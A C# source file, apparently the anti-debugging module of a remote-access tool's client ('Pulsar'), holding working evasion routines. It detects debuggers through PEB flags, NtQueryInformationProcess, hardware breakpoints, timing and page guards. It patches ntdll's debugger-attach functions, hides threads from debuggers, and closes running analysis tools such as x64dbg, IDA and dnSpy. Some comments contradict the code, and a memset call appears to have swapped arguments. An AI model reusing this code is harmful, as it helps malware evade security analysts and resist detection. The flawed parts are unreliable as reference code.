using System; using System.IO; using System.Text; using System.Threading; using System.Diagnostics; using System.Runtime.InteropServices; using System.Reflection; using Pulsar.Client.Anti.Helper; using static Pulsar.Client.Anti.Helper.Structs; namespace Pulsar.Client.Anti.Debugger { public class AntiDebug { #region WinApi [DllImport("kernelbase.dll", SetLastError = true)] private static extern bool SetHandleInformation(IntPtr hObject, uint dwMask, uint dwFlags); [DllImport("ntdll.dll", SetLastError = true)] private static extern bool NtClose(IntPtr Handle); [DllImport("kernelbase.dll", SetLastError = true)] private static extern IntPtr CreateMutexA(IntPtr lpMutexAttributes, bool bInitialOwner, string lpName); [DllImport("kernelbase.dll", SetLastError = true)] private static extern bool IsDebuggerPresent(); [DllImport("kernelbase.dll", SetLastError = true)] private static extern IntPtr GetModuleHandle(string lib); [DllImport("kernelbase.dll", SetLastError = true)] private static extern IntPtr GetProcAddress(IntPtr ModuleHandle, string Function); [DllImport("kernel32.dll", SetLastError = true)] public static extern bool WriteProcessMemory( IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out IntPtr lpNumberOfBytesWritten); [DllImport("kernelbase.dll", SetLastError = true)] private static extern bool ReadProcessMemory(SafeHandle hProcess, IntPtr BaseAddress, out byte[] Buffer, uint size, out int NumOfBytes); [DllImport("ntdll.dll", SetLastError = true)] private static extern uint NtSetInformationThread(IntPtr ThreadHandle, uint ThreadInformationClass, IntPtr ThreadInformation, int ThreadInformationLength); [DllImport("ntdll.dll", SetLastError = true)] private static extern uint NtOpenThread(out IntPtr hThread, uint dwDesiredAccess, ref OBJECT_ATTRIBUTES ObjectAttributes, ref CLIENT_ID ClientID); [DllImport("kernelbase.dll", SetLastError = true)] private static extern uint GetTickCount(); [DllImport("kernelbase.dll", SetLastError = true)] private static extern IntPtr GetCurrentThread(); [DllImport("ntdll.dll", SetLastError = true)] private static extern bool NtGetContextThread(IntPtr hThread, ref CONTEXT Context); [DllImport("ntdll.dll", SetLastError = true)] private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out uint ProcessInfo, uint nSize, uint ReturnLength); [DllImport("ntdll.dll", SetLastError = true)] private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, out IntPtr ProcessInfo, uint nSize, uint ReturnLength); [DllImport("ntdll.dll", SetLastError = true)] private static extern uint NtQueryInformationProcess(IntPtr hProcess, uint ProcessInfoClass, ref PROCESS_BASIC_INFORMATION ProcessInfo, uint nSize, uint ReturnLength); [DllImport("kernelbase.dll", SetLastError = true)] private static extern int QueryFullProcessImageNameA(SafeHandle hProcess, uint Flags, byte[] lpExeName, Int32[] lpdwSize); [DllImport("win32u.dll", SetLastError = true)] private static extern IntPtr NtUserGetForegroundWindow(); [DllImport("user32.dll", SetLastError = true)] private static extern int GetWindowTextLengthA(IntPtr HWND); [DllImport("user32.dll", SetLastError = true)] private static extern int GetWindowTextA(IntPtr HWND, StringBuilder WindowText, int nMaxCount); [DllImport("ntdll.dll", SetLastError = true)] private static extern uint NtSetDebugFilterState(ulong ComponentId, uint Level, bool State); [DllImport("kernelbase.dll", SetLastError = true)] private static extern void GetSystemInfo(out SYSTEM_INFO lpSystemInfo); [DllImport("kernelbase.dll", SetLastError = true)] private static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("ntdll.dll", SetLastError = true)] private static extern IntPtr memset(IntPtr Dst, int val, uint size); [DllImport("kernelbase.dll", SetLastError = true)] private static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType); [DllImport("kernel32.dll")] private static extern int GetLastError(); #endregion /// /// Attempts to close an invalid handle to detect debugger presence. /// specifies if we should use syscall to call the WinAPI functions. /// /// Returns true if an exception is caught, indicating no debugger, otherwise false. public static bool NtCloseAntiDebug_InvalidHandle() { try { int RandomInt = new Random().Next(int.MinValue, int.MaxValue); IntPtr RandomIntPtr = new IntPtr(RandomInt); NtClose(RandomIntPtr); return false; } catch { return true; } } /// /// Attempts to close a protected handle to detect debugger presence. /// specifies if we should use syscall to call the WinAPI functions. /// /// Returns true if an exception is caught, indicating no debugger, otherwise false. public static bool NtCloseAntiDebug_ProtectedHandle() { string RandomMutexName = new Random().Next(int.MinValue, int.MaxValue).ToString(); IntPtr hMutex = CreateMutexA(IntPtr.Zero, false, RandomMutexName); uint HANDLE_FLAG_PROTECT_FROM_CLOSE = 0x00000002; SetHandleInformation(hMutex, HANDLE_FLAG_PROTECT_FROM_CLOSE, HANDLE_FLAG_PROTECT_FROM_CLOSE); bool Result = false; try { NtClose(hMutex); Result = false; } catch { Result = true; } SetHandleInformation(hMutex, HANDLE_FLAG_PROTECT_FROM_CLOSE, 0); NtClose(hMutex); return Result; } /// /// Checks if a debugger is attached to the process. /// /// Returns true if a debugger is attached, otherwise false. public static bool DebuggerIsAttached() { return System.Diagnostics.Debugger.IsAttached; } /// /// Checks if a debugger is present using the IsDebuggerPresent API. /// /// Returns true if a debugger is present, otherwise false. public static bool IsDebuggerPresentCheck() { if (IsDebuggerPresent()) return true; return false; } /// /// Checks for the BeingDebugged flag directly. /// /// Returns true if a debugger is present, otherwise false. public static bool BeingDebuggedCheck() { byte[] Code = new byte[30]; if (IntPtr.Size == 8) Code = new byte[] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x40, 0x02, 0xC3 }; else Code = new byte[] { 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x40, 0x02, 0xC3 }; IntPtr BeingDebugged = Utils.AllocateCode(Code); if (BeingDebugged != IntPtr.Zero) { try { Delegates.GenericInt Executed = (Delegates.GenericInt)Marshal.GetDelegateForFunctionPointer(BeingDebugged, typeof(Delegates.GenericInt)); int Result = Executed(); Utils.FreeCode(BeingDebugged); if (Result == 1) return true; } catch { Utils.FreeCode(BeingDebugged); } } return false; } /// /// Checks for the NtGlobalFlag directly. /// /// Returns true if a debugger is present, otherwise false. public static bool NtGlobalFlagCheck() { byte[] Code = new byte[30]; if (IntPtr.Size == 8) Code = new byte[] { 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x80, 0xBC, 0x00, 0x00, 0x00, 0x48, 0x83, 0xE0, 0x70, 0x48, 0x83, 0xF8, 0x70, 0x74, 0x04, 0x48, 0x31, 0xC0, 0xC3, 0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0xC3 }; else Code = new byte[] { 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x68, 0x83, 0xE0, 0x70, 0x83, 0xF8, 0x70, 0x74, 0x03, 0x31, 0xC0, 0xC3, 0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3 }; IntPtr NtGlobalFlag = Utils.AllocateCode(Code); if (NtGlobalFlag != IntPtr.Zero) { try { Delegates.GenericInt Executed = (Delegates.GenericInt)Marshal.GetDelegateForFunctionPointer(NtGlobalFlag, typeof(Delegates.GenericInt)); int Result = Executed(); Utils.FreeCode(NtGlobalFlag); if (Result == 1) return true; } catch { Utils.FreeCode(NtGlobalFlag); } } return false; } /// /// Checks if the process has debug flags set using NtQueryInformationProcess /// specifies if we should use syscall to call the WinAPI functions. /// /// Returns true if debug flags are set, otherwise false. public static bool NtQueryInformationProcessCheck_ProcessDebugFlags() { uint ProcessDebugFlags = 0; NtQueryInformationProcess(new IntPtr(-1), 0x1F, out ProcessDebugFlags, sizeof(uint), 0); if (ProcessDebugFlags == 0) return true; return false; } /// /// Checks if the process has a debug port using NtQueryInformationProcess. /// specifies if we should use syscalls to call the WinAPI functions.. /// /// Returns true if a debug port is detected, otherwise false. public static bool NtQueryInformationProcessCheck_ProcessDebugPort() { uint DebuggerPresent = 0; uint Size = sizeof(uint); if (Environment.Is64BitProcess) Size = sizeof(uint) * 2; NtQueryInformationProcess(new IntPtr(-1), 7, out DebuggerPresent, Size, 0); if (DebuggerPresent != 0) return true; return false; } /// /// Checks if the process has a debug object handle using NtQueryInformationProcess. /// specifies if we should use syscall to call the WinAPI functions. /// /// Returns true if a debug object handle is detected, otherwise false. public static bool NtQueryInformationProcessCheck_ProcessDebugObjectHandle() { IntPtr hDebugObject = IntPtr.Zero; uint Size = sizeof(uint); if (Environment.Is64BitProcess) Size = sizeof(uint) * 2; NtQueryInformationProcess(new IntPtr(-1), 0x1E, out hDebugObject, Size, 0); if (hDebugObject != IntPtr.Zero) return true; return false; } /// /// Patches the DbgUiRemoteBreakin and DbgBreakPoint functions to prevent debugger attachment. /// /// Returns "Success" if the patching was successful, otherwise "Failed". public static string AntiDebugAttach() { IntPtr NtdllModule = Utils.LowLevelGetModuleHandle("ntdll.dll"); IntPtr DbgUiRemoteBreakinAddress = Utils.LowLevelGetProcAddress(NtdllModule, "DbgUiRemoteBreakin"); IntPtr DbgBreakPointAddress = Utils.LowLevelGetProcAddress(NtdllModule, "DbgBreakPoint"); byte[] Int3InvaildCode = { 0xCC }; byte[] RetCode = { 0xC3 }; bool Status = WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgUiRemoteBreakinAddress, Int3InvaildCode, 1, out IntPtr test); bool Status2 = WriteProcessMemory(Process.GetCurrentProcess().Handle, DbgBreakPointAddress, RetCode, 1, out IntPtr test2); if (Status && Status2) return "Success"; return "Failed"; } /// /// Checks for the presence of known debugger windows. /// /// Returns true if a known debugger window is detected, otherwise false. public static bool FindWindowAntiDebug() { string[] BadWindowNames = { "x32dbg", "x64dbg", "windbg", "ollydbg", "dnspy", "immunity debugger", "hyperdbg", "cheat engine", "cheatengine", "ida" }; Process[] GetProcesses = Process.GetProcesses(); foreach (Process GetWindow in GetProcesses) { try { if (GetWindow.MainWindowHandle != IntPtr.Zero) { string title = GetWindow.MainWindowTitle; if (string.IsNullOrEmpty(title)) continue; foreach (string BadWindows in BadWindowNames) { if (Utils.Contains(title, BadWindows)) { GetWindow.Close(); return true; } } } } catch { continue; } } return false; } /// /// Checks if the foreground window belongs to a known debugger. /// /// Returns true if a known debugger window is detected, otherwise false. public static bool NtUserGetForegroundWindowAntiDebug() { string[] BadWindowNames = { "x32dbg", "x64dbg", "windbg", "ollydbg", "dnspy", "immunity debugger", "hyperdbg", "debug", "debugger", "cheat engine", "cheatengine", "ida" }; IntPtr HWND = NtUserGetForegroundWindow(); if (HWND != IntPtr.Zero) { int WindowLength = GetWindowTextLengthA(HWND); if (WindowLength != 0) { StringBuilder WindowName = new StringBuilder(WindowLength + 1); GetWindowTextA(HWND, WindowName, WindowLength + 1); foreach (string BadWindows in BadWindowNames) { if (Utils.Contains(WindowName.ToString().ToLower(), BadWindows)) { return true; } } } } return false; } /// /// Hides threads from the debugger by setting the NtSetInformationThread. /// /// Returns "Success" if the threads were hidden successfully, otherwise "Failed". public static string HideThreadsAntiDebug() { try { bool AnyThreadFailed = false; int PID = Process.GetCurrentProcess().Id; ProcessThreadCollection GetCurrentProcessThreads = Process.GetCurrentProcess().Threads; foreach (ProcessThread Threads in GetCurrentProcessThreads) { CLIENT_ID CI = new CLIENT_ID { UniqueProcess = (IntPtr)PID, UniqueThread = (IntPtr)Threads.Id }; OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES { Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)), RootDirectory = IntPtr.Zero, ObjectName = IntPtr.Zero, Attributes = 0, SecurityDescriptor = IntPtr.Zero, SecurityQualityOfService = IntPtr.Zero }; IntPtr hThread = IntPtr.Zero; uint Status = NtOpenThread(out hThread, 0x0020, ref Attributes, ref CI); if (Status == 0 || hThread != IntPtr.Zero) { uint Status2 = NtSetInformationThread(hThread, 0x11, IntPtr.Zero, 0); NtClose(hThread); if (Status2 != 0x00000000) AnyThreadFailed = true; } } if (!AnyThreadFailed) return "Success"; return "Failed"; } catch { return "Failed"; } } /// /// Uses GetTickCount to detect debugger presence. /// /// Returns true if debugger presence is detected, otherwise false. public static bool GetTickCountAntiDebug() { uint Start = GetTickCount(); Thread.Sleep(0x10); return (GetTickCount() - Start) > 0x10; } /// /// Triggers a debug break to detect debugger presence. /// /// Returns true if an exception is caught, indicating no debugger, otherwise false. public static bool DebugBreakAntiDebug() { try { Utils.CallInternalCLRFunction("BreakInternal", typeof(Debug), BindingFlags.NonPublic | BindingFlags.Static, null, null); return false; } catch { return true; } } private static long CONTEXT_DEBUG_REGISTERS = 0x00010000L | 0x00000010L; /// /// Detects hardware breakpoints by checking debug registers. /// /// Returns true if hardware breakpoints are detected, otherwise false. public static bool HardwareRegistersBreakpointsDetection() { CONTEXT Context = new CONTEXT(); Context.ContextFlags = CONTEXT_DEBUG_REGISTERS; int PID = Process.GetCurrentProcess().Id; foreach (ProcessThread Threads in Process.GetCurrentProcess().Threads) { uint THREAD_QUERY_INFORMATION = 0x0040; CLIENT_ID CI = new CLIENT_ID { UniqueProcess = (IntPtr)PID, UniqueThread = (IntPtr)Threads.Id }; OBJECT_ATTRIBUTES Attributes = new OBJECT_ATTRIBUTES { Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES)), RootDirectory = IntPtr.Zero, ObjectName = IntPtr.Zero, Attributes = 0, SecurityDescriptor = IntPtr.Zero, SecurityQualityOfService = IntPtr.Zero }; IntPtr hThread = IntPtr.Zero; uint Status = NtOpenThread(out hThread, THREAD_QUERY_INFORMATION, ref Attributes, ref CI); if (Status == 0 || hThread != IntPtr.Zero) { if (NtGetContextThread(hThread, ref Context)) { if ((Context.Dr1 != 0x00 || Context.Dr2 != 0x00 || Context.Dr3 != 0x00 || Context.Dr6 != 0x00 || Context.Dr7 != 0x00)) { NtClose(hThread); return true; } } NtClose(hThread); } } return false; } /// /// Cleans the specified path by removing null characters. /// /// The path to clean. /// The cleaned path. private static string CleanPath(string Path) { string CleanedPath = null; foreach (char Null in Path) { if (Null != '\0') { CleanedPath += Null; } } return CleanedPath; } /// /// Uses NtSetDebugFilterState to prevent debugging. /// /// Returns true if the filter state was set successfully, otherwise false. public static bool NtSetDebugFilterStateAntiDebug() { if (NtSetDebugFilterState(0, 0, true) != 0) return false; return true; } [UnmanagedFunctionPointer(CallingConvention.StdCall)] private delegate int ExecutionDelegate(); /// /// Uses page guard to detect debugger presence by executing a function pointer. /// /// Returns true if debugger presence is detected, otherwise false. public static bool PageGuardAntiDebug() { SYSTEM_INFO SysInfo = new SYSTEM_INFO(); GetSystemInfo(out SysInfo); uint MEM_COMMIT = 0x00001000; uint MEM_RESERVE = 0x00002000; uint PAGE_EXECUTE_READWRITE = 0x40; uint PAGE_GUARD = 0x100; uint MEM_RELEASE = 0x00008000; IntPtr AllocatedSpace = VirtualAlloc(IntPtr.Zero, SysInfo.PageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (AllocatedSpace != IntPtr.Zero) { memset(AllocatedSpace, 1, 0xC3); uint OldProtect = 0; if (Utils.ProtectMemory(AllocatedSpace, (UIntPtr)SysInfo.PageSize, PAGE_EXECUTE_READWRITE | PAGE_GUARD, out OldProtect)) { try { ExecutionDelegate IsDebugged = Marshal.GetDelegateForFunctionPointer(AllocatedSpace); int Result = IsDebugged(); } catch { VirtualFree(AllocatedSpace, SysInfo.PageSize, MEM_RELEASE); return false; } VirtualFree(AllocatedSpace, SysInfo.PageSize, MEM_RELEASE); return true; } } return false; } } }